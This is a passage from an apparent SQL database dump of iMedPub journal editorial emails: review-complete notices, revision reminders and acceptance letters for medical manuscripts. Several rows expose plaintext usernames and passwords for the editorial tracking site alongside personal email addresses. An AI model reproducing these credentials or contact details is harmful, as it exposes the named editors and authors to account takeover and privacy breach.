Onyeyilim</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>SCILIMATI</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ijddr-19-2697</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._antonio<br />\r\n            <b>Password:</b> MtxePqqc<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','antonio.scilimati@uniba.it',2697,'2020-05-20',376),(1230,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3577</b><br />\r\n            <br />\r\n            Article Title: <b>The Perception of Population and Health Professionals regarding the National Immunization Program of Timor-Leste</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>iphspr-20-3577</b> for the <b>Health Systems and Policy Research</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','patricia.islas@uacj.mx',3577,'2020-05-20',84),(1231,'<p>Ref.:  Ms. No. : <b>iphspr-20-3804</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Attitude of health workers (nurses) towards patients and the perception patients have about them: a case study at kropa health centre inghana</b><br />\r\n<br />\r\nJOURNAL: <b>Health Systems and Policy Research</b><br />\r\n<br />\r\nDear <b>Dr. Owusu Nyarko</b>,<br />\r\n<br />\r\nThe revision of <b>iphspr-20-3804</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>richard</b><br />\r\npassword: <b>X1Jb2aoc</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></p>',1,'Author Revision Subsequent Reminder','richardnyarko91@yahoo.com',3804,'2020-05-20',84),(1232,'<p>Ref.:  Ms. No. : <b>iphspr-20-3798</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The Untapped Potential of Foreign Medical Graduates (FMG) in the United States for COVID-19 Pandemic Response</b><br />\r\n<br />\r\nJOURNAL: <b>Health Systems and Policy Research</b><br />\r\n<br />\r\nDear <b>Dr. Feyissa</b>,<br />\r\n<br />\r\nThe revision of <b>iphspr-20-3798</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ibrahim</b><br />\r\npassword: <b>xm4c1LDb</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></p>',1,'Author Revision Subsequent Reminder','ibrahimfeyissa@yahoo.com',3798,'2020-05-20',84),(1236,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4113</b><br />\r\n            <br />\r\n            Article Title: <b>Atypical Case of Chronic Granulomatous Disease: A Case Report</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Bruno Azevedo</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4113</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',4113,'2020-05-20',85),(1238,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-2838</b><br />\r\n            <br />\r\n            Article Title: <b>Tissue contrast differentiation between head and neck Squamous Cell Carcinoma tumors and adjacent tissues in early and late phases by multi-slice CT scan</b><br />\r\n            <br />\r\n            Corresponding Author: <b>zeinab Hormozi-Moghaddam</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-19-2838</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',2838,'2020-05-20',85),(1239,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3791</b><br />\r\n            <br />\r\n            Article Title: <b>Curative effect observation of ambroxol hydrochloride combined with antibiotics in the treatment of chronic bronchitis and relevant nursing mode</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Yanjun Wang</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3791</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> szarpak<br />\r\n            <b>Password:</b> eRgytVxj<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','lukasz.szarpak@gmail.com',3791,'2020-05-20',85),(1247,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4081</b><br />\r\n            <br />\r\n            Article Title: <b>Overcoming the Challenges of Managing Obesity in Barbados: A Psychological Perspective</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Davidson</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','opaldon6@yahoo.com',4081,'2020-05-22',48),(1248,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4024</b><br />\r\n            <br />\r\n            Article Title: <b>prevalence and predisposing factors of neonatal mortality in Gicumbi District</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>NTIHABOSE</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ckntihabose@gmail.com',4024,'2020-05-22',48),(1249,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-3546</b><br />\r\n            <br />\r\n            Article Title: <b>NEURODEGENERACI&Oacute;N ASOCIADA A PANTOTENATO QUINASA. REPORTE DE CASO Y REVISI&Oacute;N DE LITERATURA.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ram&iacute;rez Rivera</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dianaramirezaxs1@gmail.com',3546,'2020-05-22',274),(1250,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4113</b><br />\r\n            <br />\r\n            Article Title: <b>Atypical Case of Chronic Granulomatous Disease: A Case Report</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Azevedo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bmaze001@gmail.com',4113,'2020-05-22',85),(1257,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-3708</b><br />\r\n            <br />\r\n            Article Title: <b>Evisceration of Small Intestine through the Vagina: A Rare Surgical Cause of Acute Intestinal Obstruction.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>BENDJABALLAH</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team already sent you invoice. Please complete your payment within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ali_bendjaballah@yahoo.fr',3708,'2020-05-23',319),(1259,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3657</b><br />\r\n            <br />\r\n            Article Title: <b>The efficacy of anti-inflammatory medication in postoperative cognitive decline: A meta-analysis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Jorna</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','l.s.jorna@umcg.nl',3657,'2020-05-25',75),(1263,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-4140</b><br />\r\n            <br />\r\n            Article Title: <b>Carbapenem-resistant Klebsiella pneumoniae strains: susceptibility to novel antibiotics and molecular detection of the resistance mechanisms; a study from two Greek tertiary teaching hospitals</b><br />\r\n            <br />\r\n            Corresponding Author: <b>MARIA CHATZIDIMITRIOU</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-4140</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>\r\n<p>&nbsp;</p>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',4140,'2020-05-26',248),(1264,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-4140</b><br />\r\n            <br />\r\n            Article Title: <b>Carbapenem-resistant Klebsiella pneumoniae strains: susceptibility to novel antibiotics and molecular detection of the resistance mechanisms; a study from two Greek tertiary teaching hospitals</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>CHATZIDIMITRIOU</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','chatzidi@med.auth.gr',4140,'2020-05-26',248),(1265,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4132</b><br />\r\n            <br />\r\n            Article Title: <b>The Cost Benefit and Effectiveness Anlayze of DBS Therapy on Parkinson&rsquo;s Disease in Four Different University Hospitals in Turkey</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>OZSEZER</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','yakup@neurobioeng.com',4132,'2020-05-26',48),(1266,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-20-4090</b><br />\r\n            <br />\r\n            Article Title: <b>Formulation and evaluation of herbal oral gel containing extracts of powdered Psidium guajava Linn leaves with Curcuma longa Linn rhizomes to treat mouth ulcer</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.ijddr.in/\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SINGH</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','deveshpratapsingh1996@gmail.com',4090,'2020-05-26',376),(1274,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-2838</b><br />\r\n            <br />\r\n            Article Title: <b>Tissue contrast differentiation between head and neck Squamous Cell Carcinoma tumors and adjacent tissues in early and late phases by multi-slice CT scan</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hormozi-Moghaddam</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 24hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','zhormozi69@gmail.com',2838,'2020-05-26',85),(1275,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-4174</b><br />\r\n            <br />\r\n            Article Title: <b>Antimicrobial activity of ethyl acetate and ethanol seed extracts of Buchholzia coriacea (wonderful kola) against multidrug-resistant clinical isolates of Salmonella species and Escherichia coli</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ikechukwu Moses</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-4174</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',4174,'2020-05-27',248),(1276,'<table height=\"90\" 